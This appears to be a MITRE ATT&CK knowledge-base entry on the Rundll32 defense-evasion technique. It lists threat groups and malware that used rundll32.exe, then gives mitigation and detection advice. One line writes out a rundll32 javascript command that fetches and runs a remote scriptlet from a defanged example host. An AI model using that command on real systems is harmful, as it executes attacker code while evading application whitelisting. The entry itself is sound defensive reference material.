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ID T1085
Tactic Defense Evasion, Execution
Platform Windows
Permissions Required User
Data Sources File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Supports Remote No
Defense Bypassed Anti-virus, Application whitelisting
Contributors Ricardo Dias, Casey Smith

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.1

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.2


  • APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”.3 APT28 also executed a .dll for a first stage dropper using rundll32.exe.4 An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.5
  • APT3 has a tool that can run DLLs.6
  • Carbanak installs VNC server software that executes through rundll32.7
  • CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.8
  • ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.4
  • Briba uses rundll32 within Registry Run Keys / Start Folder entries to execute malicious DLLs.9
  • CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."10
  • The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.11
  • After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.12
  • Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.13
  • Rundll32.exe is used as a way of executing Flame at the command-line.14
  • JHUHUGIT is executed using rundll32.exe.15
  • Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.16
  • PUNCHBUGGY can load a DLL using Rundll32.17
  • PowerDuke uses rundll32.exe to load.18
  • Prikormka uses rundll32.exe to load its DLL.19
  • Pteranodon executes functions using rundll32.exe.20
  • RTM runs its core DLL file using rundll32.exe.21
  • Sakula calls cmd.exe to run various DLL files via rundll32.22
  • StreamEx uses rundll32 to call an exported function.23
  • The Winnti installer loads a DLL using rundll32.24
  • A gh0st variant has used rundll32 for execution.25


Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.26


Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.


  1. ^  Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.
  2. ^  B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.
  3. ^  Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.
  4. a b  Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.
  5. ^  Unit 42. (2018, February 28). Unit 42 Playbook Viewer - Sofacy. Retrieved March 15, 2018.
  6. ^  Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.
  7. ^  Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 3, 2015.
  8. ^  ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.
  9. ^  Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.
  10. ^  Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.
  11. ^  F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.
  12. ^  Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.
  13. ^  Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.
  1. ^  sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved March 1, 2017.
  2. ^  F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.
  3. ^  Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.
  4. ^  Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.
  5. ^  Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.
  6. ^  Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.
  7. ^  Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.
  8. ^  Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.
  9. ^  Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.
  10. ^  Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.
  11. ^  Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.
  12. ^  Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.
  13. ^  National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.